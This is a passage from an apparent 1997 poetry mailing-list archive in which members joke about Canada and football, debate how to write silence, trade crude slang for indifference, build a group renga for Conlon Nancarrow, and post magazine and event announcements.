even though I never intended it that way. I sincerely thought that the silliness would be obvious. I mean I've never even (and I swear here) been to Canada. (although my past in football is more or less real--I was actually captain of the UW/LaCrosse freshman football team, then broke my hand and went to UW/Milwaukee to play soccer. My substitute at tight end on the football team in '74 went on three years later to become NAIA All-American, a tid-bit that remains one of the proudest accomplishments of my life to this day.)

Anyway, I just wanted to make this clear, and to apologize to George and David for insulting their motherland. I was just kidding. In fact, I have to say, it's fascinating that when I told David Bromige some days back that I had had an encounter of the third kind that he thought I was kidding when in truth I was absolutely serious, and then when I told George that I was a better football player than he he thought I meant it when I was thoroughly kidding. This email business is slippery. Who can keep track? I'm reminded of my teacher Samu Sunim, who stared at me once like he was a tiger about to bite my entrails out and said: "Bring me the thoughts in these words, and put them in my hand." There's something there relevant to to this medium, but I'm not sure what.

I will now stop posting prose and stick to poems where there is never any problem with what anybody says. I'm serious George, you Canuck. Kent

↑ Index

424. Henry Gould
Re: oh canada
Wed 20 Aug 1997

"By the word no one thinks exactly the same thing as the other person does... Each understanding is at the same time a non-understanding, each agreement in thoughts and feelings is likewise a disagreement."

- Wilhelm von Humboldt

↑ Index

425. Red Slider
Re: oh canada
Wed 20 Aug 1997

Kent, I don't really give a fuck, I just wanted to know if that was what passed for poetry around here, and now that you've assured me its prose I'm much relieved - for which I don't give a rusty fig, either. Now, about that "tid-bit" bit, that's a loose ball. Frankly I've always liked 'a dinkle-berry' in that stead, or maybe its 'I don't give a dinkle-berry', I can't remember and don't really give a

shit! Oh, there, I've gone and said it and I don't know David, looks too big to be a rat - lemming maybe? Looking forward to your poetry, Kent.

red.

↑ Index

426. **Maria Damon (Maria Damon)**
Re: space(s) of silence
Wed 20 Aug 1997

At 8:15 AM 8/21/97, Christina Fairbank Chirot wrote:
> s e e
even lements' ucharistix

↑ Index

427. **Rachel Levitsky**
Re: query
Thu 21 Aug 2008

---

does anyone know if Hanging Loose Press (Brooklyn NY, I think Steve Freid, anyone know if that's right?) has an email address?

thanx
RL

↑ Index

428. **KENT JOHNSON**
seein' red
Wed 20 Aug 1997

Red: Well, shoot, Red, even though it's in the form of prose, I meant it all as poesy. Are you implying that you don't like it? Well, pardner, there it is. Don't let it get under your big-buckled belt _too_ much. It's only poetry.

By the way, is that really your name, "Red Slider"? that's pretty cool. Did you know there used to be a coach in the very early years of the old AFL named Red Hickey? Funny how everything, in the end, can be brought back to football.
Kent

↑ Index

429. David Bromige
only kidding, kent
Wed 20 Aug 1997

actually, I couldnt tell were you for real or not on this one (unlike yr other postings ahem). But i saw the chance to say insulting things about my old friend while appearing to rush to his defense; it was too good to waste. George would have done no less for me.

Apparently, a majority enjoy their rats ass flamed. Charles writes a neat poem in which by the last line I am his old flame while he states his preference for rats ass. Thats nice. I remember the Alexander piano--shaky, unstable, but downright seductive. Unless thbat was me (the first part).There should be more fun in one's life.

David I., I _knew_ you were going to "say" "flying fuck" before my eye reached it, I swear. Long a favorite of mine, though its vehemence undoes its indifference. Other phrases to indicate indifference? I used to like the ungrammatical "I could care less." (Cant even be bothered to add the "n't"). "Frankly, my dear, I dont give a damn." Sexist pig. "Good goddam" is a pleasure to say. "Two hoots" sounds archaic--back to a time when owls flew this earth. "A tinker's cuss" has a pleasingly ethnic tint. Any others?

David, champion of "Encased-in-light" St.George, whose motto, "With friends like Dave, who needs enemas" has been copyrighted in British Columbia.

↑ Index

430. kim dawn
space(s) of silence
Wed 20 Aug 1997

on silence(s)

mouth opens. words flow forward. silence(s) between each word, each breath, e a c h l e t t e r . these silences form a bubble infinitely larger than the spoken. silences take up space. silences emerge during the spoken. when we think of silence(s) we think of mouths, of breath seen in cold air, of dead phone lines, of discomfort, of too much comfort, of death. writing is scarred with the death of silences. writing is scarred with death. writing is scarred with silence. these silences are full. we read between the lines to find 'truth'. silences are impatient. silences are already written. the everlasting silence of suicide notes and love letters. beside my corpse lies my last words. between the lines lies my body.

your absence is filled with your voice your body more than your presence. the further away you are, the less you speak, the more i hear your silence around my throat.

on having nothing to write

i have nothing to write. i have nothing to say. yet, i write:
'i have nothing to write'.
'it' all resides within the space(s) of silence. these silence(s) must be written.
what is the condition of these spaces of silence?
this is not so much about writing about silence as it is about writing through/to silence, finally, writing silence.
silence is not empty nor passive. we recognize silence as one of the most effective tools of communication. to communicate our anger/frustration we 'use' the 'silent treatment' upon the other.
silence(s) are moody.

how to write silence : this is my dilema,

any blanchot fans out there?

oh, and by the way,

h i s s h i r t s m e l l s l i k e h i m s t i l l a n d i w e a r i t u p o n m y t o n g u e u p o n t h e f a l l o f n i g h t i t r a i n s a n d a n n e m u r r a y c a n s t i l l p u l l m y h e a r t c h o r d s s p e c i a l l y s i n c e s h e s f r o m m y w a y o h d e a d l i t t l e s n o w b i r d i h e l d y o u o n c e

↑ Index

431. Red Slider

Re: seein' red

Wed 20 Aug 1997

Yeah, Red Hickey & 'Red Strader' as well - both with the 49'rs. The name was given to me and it stuck. Once got a subpoena in the name Red Slider and they said I'd better show up - so I suppose you could say it's real. Buckle's-back-in-place - Padre's Ass shows. All comes down to how fast the track is.

thanx for the poetry tip.

red

From: KENT JOHNSON[SMTP:[redacted]]
Sent: Wednesday, August 20, 1997 6:11 PM
To: [redacted]
Subject: seein' red

Red: Well, shoot, Red, even though it's in the form of prose, I meant it all as poesy. Are you implying that you don't like it? Well, pardner, there it is. Don't let it get under your big-buckled belt _too_ much. It's only poetry.

By the way, is that really your name, "Red Slider"? that's pretty cool. Did you know there used to be a coach in the very early years of the old AFL named Red Hickey? Funny how everything, in the end, can be brought back to football.
Kent

↑ Index

432. jarnot
rduncan
Wed 20 Aug 1997

---

dear list people:

i am looking for video/film footage of robert duncan for a research project. please backchannel me if you have any info and/or materials.

thanks. lisa jarnot

↑ Index

433. Red Slider
Re: oh canada
Wed 20 Aug 1997

---

what a coincidence - I was just thinking exactly the same thing. - red.

From: Henry Gould[SMTP:[redacted]]
Sent: Wednesday, August 20, 1997 5:42 PM
To: [redacted]
Subject: Re: oh canada

"By the word no one thinks exactly the same thing as the other person does... Each understanding is at the same time a non-understanding, each agreement in thoughts and feelings is likewise a disagreement."

- Wilhelm von Humboldt

↑ Index

434. Red Slider
I'm feeling better now - so i'll drop a poem
Wed 20 Aug 1997

---

two brushes

two brushes
one wide
one narrow

brushes brushed
on a painted sky
the wide brush
saturated in blue

the nearby clouds
still freshly swept
with wet paint

delicate margins
golden delicious
wet clouds picnic
on blue grass
gay cloth mats
in sere silks
cirrostratus
undressing
the wind

bare cover
distant pale blues
thinning to wash
the day folding into
faded picnic cloths
clouds of leaves, blue grass,
black velvet waves rolling
in menacing shapes, night
thunder shaking the mats
ants carry off crumbs of moon
many times their own size
stars the size of raindrops

raindrops the size of stars.

red slider
August 1997

↑ Index

435. **George Bowering**
Re: I dont give a
Wed 20 Aug 1997

Where I come from--i.e. them mountains in the Interior---they say "I dont give a pinch of coon shit."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

436. **Don Cheney**
Re: what flames, where, huh?
Thu 21 Aug 1997

> *Btw, when you wrote that you didnt give a damn abt canadian things, I was really hoping the text was going to say "rats ass." "I dont give a rats ass about canadian things." Am i the only listling who prefers "rats ass" to "damn"? David*

david,

i love the phrase "I don't give a rats ass" And i agree that "I don't give a flying fuck" is another good one. like in the movie "DOWN BY LAW" where roberto benigni walks around with his list of american phrases to be spoken in broken english. he gets thrown in the hoosegow and looks at his notes and yells out at the jailer "why don't you take a flying fuck next to a couch!" (at least that's how i remember it, i never remember these things right)

My dad used to say, while driving, "That guy drives like he's got a paper asshole." And of course there's another favorite: "candy-ass". i don't use these phrases but they always crack me up when i hear them.

don

==========
Visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791
==========

↑ Index

437. **DS**
Re: what flames, where, huh?
Thu 21 Aug 1997

Slaughter House 5 "Why don't you take a flying fuck at a rolling doughnut?"

"Take a flying fuck at the moon."

Dan

> *i love the phrase "I don't give a rats ass" And i agree that "I don't give a flying fuck" is another good one. like in the movie "DOWN BY LAW" where roberto benigni walks around with his list of american phrases to be spoken in broken english. he gets thrown in the hoosegow and looks at his notes and yells out at the jailer "why don't you take a flying fuck next to a couch!" (at least that's how i remember it, i never remember these things right)*
>
> *My dad used to say, while driving, "That guy drives like he's got a paper asshole." And of course there's another favorite: "candy-ass". i don't use these phrases but they always crack me up when i hear them.*
>
> *don*
>
> *==========*
> *Visit Don Cheney's Home Page & Clean Neck Shop*
> *http://www.geocities.com/Paris/5791*
> *==========*

↑ Index

438. **Mark Prejsnar**
Publication Announcement
Thu 21 Aug 1997

ANNOUNCING

Now out: Misc. Proj. #3

with new work by:
David Shapiro, Peter Ganick, Joseph Lease, Sheila E. Murphy,
John Lowther and others.....

Book reviews, journal reviews, peculiar graphix and more!

Only one dollar (or send $3.50 for a four-issue subscription)

(contibutors and subscribers if they haven't
received their copies should do so within the
next couple of days...)

Make checks out to Mark Prejsnar

all mail to:
M. Prejsnar
641 N. Highland Ave. NE, #11
Atlanta, GA 30306

***Submissions are strongly encouraged for #4.
Poems, essays, commentary, book reviews...

Read Misc. Proj...

"The Voice of the Pomo South"

↑ Index

439. David Israel
Re: seein' red
Thu 21 Aug 1997

---

funny how everything in the end can be brought back to comedy

(as in red skelton)

or, cinematic how everyging can be brought back in end to cinema (as in Konstanin Kerslawsky's RED)

d.i.

>>> KENT JOHNSON <[redacted]> 08/20 9:11 PM >>>
Red:
Well, shoot, Red, even though it's in the form of prose, I meant it
all as poesy. Are you implying that you don't like it? Well,
pardner, there it is. Don't let it get under your big-buckled belt
too much. It's only poetry.

By the way, is that really your name, "Red Slider"? that's pretty cool. Did you know there used to be a coach in the very early years of the old AFL named Red Hickey? Funny how everything, in the end, can be brought back to football.
Kent

↑ Index

440. Christina Fairbank Chirot
Re: space(s) of silence
Thu 21 Aug 1997

s e e

↑ Index

441. lppl
Re: rduncan
Thu 21 Aug 1997

Lisa:

The outtakes of Duncan at SFSU Archive are excellent. Jess at one point in background. Laura can perhaps help you get dub of original half-hour program as well. [redacted]

Larry

↑ Index

442. Red Slider
Re: space(s) of silence
Thu 21 Aug 1997

kim wrote:

how to write silence : this is my dilema,

Kim, neither Rachael's nor Christina's samples seem to solve the problem for me. They both have big flashing noisey signfiers - END-OF-TEXT***END-OF-TEXT - waving at the ends of their texts. This I think we are clever enough (or cynical enough) to quit when it has the look&feel of 'END-OF-TEXT'. The trick is known, the audience eats the rabbit.

My own samples weren't much more useful. I don't pour much concrete poetry so they all were samples of textual, rather than meta-textual, silence. Missing term representations, grammatical or semantic discontinuities, unfulfilled or unresolved context or heightened anticipation. None would satisfy your request for meta-textual representation of silence. I did learn the following from considering the problem (at least as very tentative hypotheses):

1) the problem of representing 'silence' in text is catagorically similar to background/forground problems - a matter of degree, of terms in contrast, not in absence.

2) the simple presence of meta-symbols for 'silence' (space, empty enclosure, etc.) may serve to intensify subject rather than signify silence. The very act of

calling attention to noiseless areas may immediately fill with all kinds of noise signified by the surrounding context - not 'silence' but a container for surplus noise.

3) 'Silence' may be a misnomer - or, at any rate, their may be a multiplicity of 'types of silence' so that any attempt to find a universal representation for 'silence' qua 'silence' is hopeless. Each will only be come as still as its particular context permits and in a way which its own formula will depend on that context.

4) It may be that 'Silence' is some kind of counter-effect that we can create - in meaning, in meta-graphical representation, in juxtaposition in which elements mutually annihilate each other - are 'phased' in such a way that each is muted. Whether this can approach 'silence' i don't know.

in a poem I posted here recently, there are two lines:

stars the size of raindrops

raindrops the size of stars

both sentences wanted to make there own noisey statments. I find them to be considerably muted in this arrangement - and some kind of silence leaking into the margins.

I do not think concrete representations (as opposed to textual ones) escape this dilemma. Even physical impositions which forces interruption in the reader (page-breaks, double page-breaks (though here the 'silence' of the publisher is quite audible), abrupt sequence reversal (say, right-to-left), etc.) still seem to be referrential, i.e. noisey. A true 'silence' would be absolutely stunning!

I propose these notions from examining only a very few of my own materials and hardly a hard proposal. Like to hear if you find anything quiet enough and universal enough to meet your needs. END

OF

red

↑ Index

443. **Daniel Bouchard**

address search

Thu 21 Aug 1997

Could someone--perharps even the people I am asking about-- backchannel me with the mailing addresses of Jeff Hansen (Poetics Briefs), and Aldon Nielsen?

much obliged,

[redacted]

↑ Index

444. Christopher Alexander
Re: what flames, where, huh?
Thu 21 Aug 1997

Don Cheney wrt:

> *My dad used to say, while driving, "That guy drives like he's got a paper asshole."*

what cld this possibly mean!?

Chris—still puzzled over it all

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

445. Laura Moriarty
Re: rduncan
Thu 21 Aug 1997

Thanks Larry, as I backchanneled to Lisa, the Poetry Center has extensive video and audio of Duncan.

I should say also that our schedule for the fall reading series is up on our Web site. I have removed the pixilated color background and will be adding a number of new pages in the next few weeks, so check back for updates.

Our complete on-line, searchable catalog is available on the site:

http://www.sfsu.edu./~newlit/welcome.htm

Scroll down and click on the Archives -

Laura Moriarty

> *Lisa:*
>
> *The outtakes of Duncan at SFSU Archive are excellent. Jess at one point in background. Laura can perhaps help you get dub of original half-hour program as well.* [redacted]
>
> *Larry*

↑ Index

446. George Bowering
Re: Elegy for Conlon Nancarrow
Thu 21 Aug 1997

> *Ach, I throw away my metranome It is useless to me*

here in this metrapolis

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

447. Don Cheney
Re: what flames, where, huh?
Thu 21 Aug 1997

Chris,

i had the same response. my dad is dead and i cannot ask him and never did when he was alive. my brother john said it was someone who was driving very slowly or conservatively.

Don

> *Don Cheney wrt:*
>
> *My dad used to say, while driving, "That guy drives like he's got a paper asshole."*
>
> *what cld this possibly mean!?*
>
> *Chris—still puzzled over it all*

↑ Index

448. charssmith
Fwd: Text as a Visual Medium
Thu 21 Aug 1997

Forwarded message:
From: [redacted] (sfcb)

collecting)
collecting)
To: [redacted]
Date: 97-08-21 15:00:24 EDT

Event: Friday, August 22, 7 pm, free Text as a Visual Medium: Investigative typographer and book artist Inge Bruggeman, of UC Santa Barbara, will show slides and discuss expressive aspects of text and typography in the work of important artists such as Apollinaire, Werkman, Lissitzky, and Marinetti. She will also examine the visual impact of work by historical and contemporary artists who may not be as well known.

At the San Francisco Center for the Book, 300 DeHaro, corner of 16th (on Muni lines 19 and 22). Call [redacted] for more information.

↑ Index

449. Joe Amato/Kass Fleisher

Re: what flames, where, huh?

Thu 21 Aug 1997

---

my father being dead too, i can't supply his meaning exactly... but whenever he said to me, twinkle in his eye

"joe, you talk like a man with a paper asshole"

i took him to mean that i was full of SHIT...

i might venture some apt readings of this saying in anatomical or gastrointestinal terms, speculating as to the way a paper asshole might function vis-a-vis the fleshy variety, but---if you look in the harper/row _american slang_ dictionary, you'll find the following under "man with a paper ass":

"n phr black [african-american dialectical] a person whose ideas are not important; a trivial man; = lightweight"

presumably "ass" here functions synecdochically for the person in question -- the lightweight -- so i assume asshole, being part of an ass, functions similarly...

yrs in the nether regions,

joe

↑ Index

450. **Thomas Bell**

Re: space(s) of silence lead?

Thu 21 Aug 1997

At 10:51 AM 8/21/97 -0700, Red Slider wrote:
>kim wrote:
>
>how to write silence : this is my dilema,

The following might be another way. This is the text of a series (I hope) of poems w/
drawings I am constructing for my page www.public.usit/trbell and for the wr-y-tings pad.
tom bell

Cobbles wait to be trodden.
Butterflys flutter by
This crooked flower twisted yellow tortured body
Big noise from Winetka lingers on my left in the ear blown out along the road.
Framed art fills my mind
When a man gets on the Beluga Caviar, well....
To the well one last time.
well water's run dry
Well met
as well as message poems
“fingers of the sun”—as well as on stone slabs.
Well-known
According to a well-known anecdote, a cobbler detected a fault in the shoe of a figure
well-defined
well-written
well-crafted
as well.

My mind is too well-written.

Says Huang-po says
men fear forgetting their minds men,
fear falling men
fear men
fear falling
fear

my mind

thots lernd so
well?

↑ Index

451. **Red Slider**
Re: Elegy for Conlon Nancarrow
Thu 21 Aug 1997

From: George Bowering[SMTP:[redacted]]
Sent: Thursday, August 21, 1997 1:06 PM
To: [redacted]
Subject: Re: Elegy for Conlon Nancarrow

> *Ach, I throw away my metranome It is useless to me*

here in this metrapolis

George, I thank you and the Society for the
Spellingly and Grammatically Disadventiged
thanx you.

I try my best but the list welcome message said
to be careful because some posts were not so
well thought out. I'm trying my best not to
contribute to that mayhem by making all of
my posts absolutely brilliant. I think there is
some principle of cathexis involved. The speling
degenerets proportal too the brillance or vice
versa.

red

↑ Index

452. **Red Slider**
Re: what flames, where, huh?
Thu 21 Aug 1997

And while were in the general neighborhood, perhaps someone can enlighten me on the origin and nuance of the term 'asshole buddies'. I've a close friend you employs that expression frequently and I finally got the courage to ask him to stop because it always left a bad aftertaste. After seeing just how complex the taxonomy of assignments for scatalogical kinship terms is, I worry that perhaps I have hastily disemboweled my friendship, or at least thoughtlessly evacuated some of its finer mesh.

L'chyme,

red.

From: Joe Amato/Kass Fleisher[SMTP:[redacted]]
Sent: Thursday, August 21, 1997 1:32 PM
To: [redacted]
Subject: Re: what flames, where, huh?

my father being dead too, i can't supply his meaning exactly... but whenever he said to me, twinkle in his eye

"joe, you talk like a man with a paper asshole"

i took him to mean that i was full of SHIT...

i might venture some apt readings of this saying in anatomical or gastrointestinal terms, speculating as to the way a paper asshole might function vis-a-vis the fleshy variety, but---if you look in the harper/row _american slang_ dictionary, you'll find the following under "man with a paper ass":

"n phr black [african-american dialectical] a person whose ideas are not important; a trivial man; = lightweight"

presumably "ass" here functions synecdochically for the person in question -- the lightweight -- so i assume asshole, being part of an ass, functions similarly...

yrs in the nether regions,

joe

↑ Index

453. David Bromige
metragnomics
Thu 21 Aug 1997

Metragnamics (far GB)

i thraw away my metraname
here in this megapalis
and set aut far the hippadrame
with professor thanatapalis

we're aff to hear the ralling stanes
thats why i've ditched my tamer
i want to shake my stiff ald banes
be a bad-spelling ramer

yet i'm imitating bawering (gearge)
wha makes ane tae the lane
i met him drinking at the ladge
"Asshale, that glass is mane!"

He was the mast punctiliuas sad
but created an impressian
at ance af being wild and bald
alangside this repressian

then aff i went with the prafessar
wha calls piraeus hame
far, as i said ta my canfessar
It's mass _ar_ ralling stane

But my canfessar (clever fellaw)
remarked the balances in bawering
sarcastic macker af bad spellar :
his scarn far ane is scauring

yet he'll transgress mast all the barders
the mast af us acknawledge
prafessor thanap fallaws arders
he'll never transcend callege

with him i knaw just what gaes an
whereas, with bawering, seldam
what draws me thus to the canuck ane
and away fram thanap (sheldan)?

* * * *

I'm back--the ralling stanes were ald
and tired--time has appased them
at last--& sheldan's campany graws cald
--I'll retrieve my metraname

& re-tune the piana
i'll trust my therapist to knaw
that each ta must have a fra
& ta the megalapalis
  with bawering (gearge) i'll ga-ga ga .

↑ Index

454. **Christina Fairbank Chirot**
Re: space(s) of silence
Thu 21 Aug 1997

---

clarification: s e e Re: space(s) of silence posted by David B Chirot

Christina was silent in that space

Christina Fairbank Chirot

↑ Index

455. **Red Slider**
tech prob. - help! and appologies to all
Thu 21 Aug 1997

---

sorry for the unbroken lines. linefeeds were showing here
but not being read at server. I think i've fixed it. these lines
have manual returns and should be ok.

this line is a wrap around line and should be ok also now that the fix has been made. otherwise it will be off the list for awhile until i can figure it out. Let me know if one or both sets are still given trouble.

↑ Index

456. **R. Gancie**
Seeking Submissions
Thu 21 Aug 1997

FlashPoint Magazine is seeking critical responses to A=R=T M=E=A=N=S, a critique of L=A=N=G=U=A=G=E poetics applying Freud, Lacan, & Foucault, by Joe Brennan. A=R=T M=E=A=N=S can be found in FlashPoint's on-line issue at:

http:webdelsol.com/FLASHPOINT

Responses will be considered for publication in the Fall issue, which is scheduled for release in November. Responses should be submitted by September 30th to:

[redacted]

FlashPoint's first on-line issue includes Stephen Dixon and Raymond Federman, Ronald Sukenick, Ricardo Cortez Cruz, David Kaufman, Cris Mazza, with an art/poem by Amiri Baraka.

FlashPoint's first print issue includes Clayton Eshleman, Charles Bernstein, Jack Foley, Mark Scroggins, Carlo Parcelli, Art Cover, Judy Brody, with art by Sue Coe and Andrea Zemel.

↑ Index

457. George Bowering
Re: Elegy for Conlon Nancarrow
Fri 22 Aug 1997

> *----------*
> *From: George Bowering[SMTP:[redacted]]*
> *Sent: Thursday, August 21, 1997 1:06 PM*
> *To: [redacted]*
> *Subject: Re: Elegy for Conlon Nancarrow*
>
> *Ach, I throw away my metranome It is useless to me*
>
> *here in this metrapolis*
>
> *George, I thank you and the Society for the*
> *Spellingly and Grammatically Disadventiged*
> *thanx you.*
>
> *I try my best but the list welcome message said*
> *to be careful because some posts were not so*
> *well thought out. I'm trying my best not to*
> *contribute to that mayhem by making all of*
> *my posts absolutely brilliant. I think there is*
> *some principle of cathexis involved. The speling*
> *degenerets proportal too the brillance or vice*
> *versa.*
>
> *red*

I was just trying to get a group poem going--like the renga of a coupla years ago

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

458. Red Slider
Re: Elegy for Conlon Nancarrow
Fri 22 Aug 1997

> *----------*
> *From: George Bowering[SMTP:[redacted]]*

> *Sent: Thursday, August 21, 1997 1:06 PM*
> *To: [redacted]*
> *Subject: Re: Elegy for Conlon Nancarrow*
>
> *Ach, I throw away my metranome It is useless to me*
>
> *here in this metrapolis*
>
> *George, I thank you and the Society for the*
> *Spellingly and Grammatically Disadventiged*
> *thanx you.*
>
> *I try my best but the list welcome message said*
> *to be careful because some posts were not so*
> *well thought out. I'm trying my best not to*
> *contribute to that mayhem by making all of*
> *my posts absolutely brilliant. I think there is*
> *some principle of cathexis involved. The speling*
> *degenerets proportal too the brillance or vice*
> *versa.*
>
> *red<<*
>
> *I was just trying to get a group poem going--like the >renga of a coupla*
> *years ago*

George Bowering.<

,

Oh, that's different. Neverrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmind.

Ren-ga--Ren-ga--Ren-ga--Ren-ga--Ren-ga--Ren-ga--Ren
~~~
~~~

4055 Yosemite
St. Louis Park, MN 55416

- Henry

↑ Index

461. **henry**
sorry
Fri 22 Aug 1997

---

sorry Jeff, Dan & list. should have backchanneled. evil reply button. dim lands of Henry.

↑ Index

462. **David R. Israel**
Renga for Nancarrow
Fri 22 Aug 1997

[was, Subject: Re: Elegy for Conlon Nancarrow]

1 Ach, I throw away my metranome It is useless to me
(??)

2 here in this metrapolis
(GB)

3 morning late-summer: this cricket knows the music
(DI)

↑ Index

463. **Laurie Schneider/Crag Hill**
Re: space(s) of silence
Fri 22 Aug 1997

David Chirot's s e e

comes close to what we can do in text
indicating presence through absence, deletion
embodying even more silence (Can silence be embodied?
Do we want to create such a form to hold the something that is nothing?)
than Eugene Gomringer's poem "silencio" in the Emmett Williams' anthology

yet text and silence are two streams that can never cross
though we can have one hand in each
(Would we feel the waters of silence on our fingers? Now I'm disarranging
my senses.)

I noisily remember Geoff Huth has considered this conundrum in much of his writing, including columns on "praecisio" (Bob Grumman should be able to help me remember with the accuracy silence deserves)

Best, Crag

↑ Index

464. Red Slider

Re: renga instigations by poet-professor alleged

Fri 22 Aug 1997

Red, Bowering's only telling half the truth. It's not only ren-ga he's initiating,
He's also trying to instigate stimpy-ga. David

ach, now look what you made me go do.
I don't know renga from a rat's ass.
misspelled To-ga
                thought we might reminisce
                about Gilda and John

Thank god I'm a (??)
why do the Limey's always use 'cricket'
                {is DI a limey?}
    they know nothing about American
    wheat fields. what do they know?

where's my coffee?
Shit, this is a fine kettle of fish
I wash the pot.
                {thirty years ago I took class
                from Bromige-san. This is
                thanks i get?}
ren-ga 36 with moon in the middle
screw the moon

                Reichold take a flying fuck
                call it hot cockalorum
I lift my toga
unsheathed summer's-eye sword
crickets piss on me
                {whazza hell's stimpy?}
                ja just as I thought
                no jacuddon entry
                write silence.
                call pharmacy for Aricept

crickets
silence
crickets

where's my coffee?
piss on jacuddon
to-ga to-ga to-ga.

↑ Index

465. George Bowering

Re: renga instigations by pot-professor alleged

Fri 22 Aug 1997

> *Red, Bowering's only telling half the truth. It's not only ren-ga he's initiating, He's also trying to instigate stimpy-ga. David*

Well, that's not all the truth. I was also trying to finagle my on-base percentage.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

466. Christina Fairbank Chirot

Re: space(s) of silence

Fri 22 Aug 1997

Jack Kerouac in Paris review Interview (with Aram Saroyan, Duncan McNaughton & Ted Berrigan) said

Writing is silent meditation going a hundred miles an hour.

(sotto voce:

speaking of Aram Saroyan--and Geoff Huth as Crag Hill
notes and others--check out Bob
Grumman's great essay on MNMLST
POETRY: Unacclaimed But Flourishing
at Light and Dust Mobile Anthology of Poetry
http://www.thing.net/~grist/homekarl.htm

)

-dbc

↑ Index

467. David Bromige

how to raise funds for yr reading/lecture series

Fri 22 Aug 1997

Last weekend, the "Friends of West County," an ad hoc environmental group dedicated to preventing an industrial park being built on land the city council voted to annex (contra various laws of their own making), held our second yard sale,sat-sun, and raised nearly $4000. In the spring, we raised over $3000. (This money goes towards the attorney's fees for the court action we are bringing).

It occurred to me that other groups than environmentalists should know about this source of funds. All it takes is a site (we used a small parking lot attached to a building where one of us has a business), people to donate stuff (& to encourage persons not in the group to donate stuff), some plywood resting on sawhorses to be tables, and some flyers & handpainted signs. It takes some time, sure--I'd estimate I spent 3 hours in planning meetings, an hour signmaking, a couple hours sorting out my own junk to donate, another hour picking up junk from other people, and five hours in toto helping man the cashbox.

So say 12 hours. Out of my busy schedule, etc etc, but well worth it, not only because it cleared junk out of our garage here, but for the end result, and also for the camaraderie and community of the event.(I got some more books, too--O joy![as was it Ren or Stimpy would say?] And some nifty tapes and record albums...somebody's Nina Simone collection, for starters--so, junk gets recycled.)

The core of our group is fewer than 20 persons--comparable with a number of groups or collocations of poetry fans in many centers throughout the continent. You too could do this and have 3 grand to play with. Enough to fly in those poets you want to hear but the administrators/fat-cat professors of your local college/art center/library _don't_ want you to. And something left over to pay your visiting poet a couple hundred. Ask me if you want to know more.

David

PS Red Slider? Ren & Stimpy is/was a cartoon on tv i found pretty disgusting but watched plenty of because at that time my daughter & her friends were crazy for it. A dog and a cat. Tongues hung way, way out; eyeballs shot way, way out on stalks; there was vomit, there was crap, intimidation, bondage, violence, and above all, weird sounds/voices. When will it go into reruns?!

↑ Index

468. **George Bowering**

Re: ren

Fri 22 Aug 1997

Bromige wrote:

> *PS Red Slider? Ren & Stimpy is/was a cartoon on tv i found pretty disgusting but watched plenty of because at that time my daughter & her friends were crazy for it. A dog and a cat. Tongues hung way, way out; eyeballs shot way, way out on stalks; there was vomit, there was crap, intimidation, bondage, violence, and above all, weird sounds/voices. When will it go into reruns?!*

Hey, Brom, there you go with your cultural cringe again. Why didnt you mention that Ren & Stimpy was drawn by a guy in Vancouver?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

469. **David Israel**

Re: Renga for Nancarrow

Fri 22 Aug 1997

Poetas,

Gwyn McVay wrote me this note --

> *Date: Fri, 22 Aug 1997 12:01:34 -0400 (EDT)*
> *From: Gwyn McVay <[redacted]>*
> *To: "David R. Israel" <[redacted]>*
> *Subject: Re: Renga for Nancarrow*
>
> *Are you keeping track of this? Then I'd like to add:*
>
> *hairy as thistle and as elevated*

Accordingly, I'll add it to the thread. Red Slider also had some lines, but it's not clear to me if any (or which) were intended to be part of a group renga, . . . so I don't know how to deal with those. Possibly his is the original line also? (Am not sure of the initial (metronome) author) --

in any case, here's the Renga-so-far according to my best light; shd. be happy if it proceeds -- which can easiest / best be done by copying only the Renga lines (from this post) & adding on another -- if any shd. careto do so . . .

/ / / / /

Renga for Nancarrow

1 Ach, I throw away my metranome It is useless to me
(??)

2 here in this metrapolis
(GB)

3 morning late-summer: this cricket knows the music
(DI)

4 hairy as thistle and as elevated
(GM)

↑ Index

470. **Daniel Zimmerman**
Renga for Nancarrow
Fri 22 Aug 1997

Renga for Nancarrow

1 Ach, I throw away my metranome It is useless to me
(??)

2 here in this metrapolis
(GB)

3 morning late-summer: this cricket knows the music
(DI)

4 hairy as thistle and as elevated
(GM)

5 thermal etude beside a bamboo cage
(DZ)

↑ Index

471. **Hoa Nguyen**
GAS NUMBER 9
Fri 22 Aug 1997

Dear List: Please bear with the following promotion of an excellent poetry magazine.I have just received Gas #9 and it is excellent "High Octane Poetry" edited by Kevin Opstedal with brilliant noir-ish line drawings.

Poets include:

Simon Pettet, Joanne Kyger, Duncan McNaughton, Lewis MacAdams Anselm Hollo, FA Nettelbeck, Tom Clark, Alice Notley, Clark Coolidge Owen Hill, Kevin Opstedal, Ted Berrigan, Hoa Nguyen (me), Noel Anderson Black, Anselm Berrigan, Amy Gerstler, Elinor Nauen Connie Deanovich, Edmund Berrigan, William Yackulic, Richard D. Houff, Michael Price, Gregory Fuchs, Jack Hirschman, Boadiba, Lucia Berlin, Brett Evans, Shauna Hannibal, Edward Ainsworth, Dale Smith

with illustrations by Kevin Opstedal!! A big tape bound issue is only ten bucks. If any one has trouble finding it, I have an address.

Thanks and
hope everyone is having a gas...

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

472. **Judy Roitman**
Re: GAS NUMBER 9
Fri 22 Aug 1997

> *Dear List:*
> *Please bear with the following promotion of an excellent poetry magazine.I have just received Gas #9 and it is excellent "High Octane Poetry" edited by Kevin Opstedal with brilliant noir-ish line drawings.*
>
> *Poets include:*
>
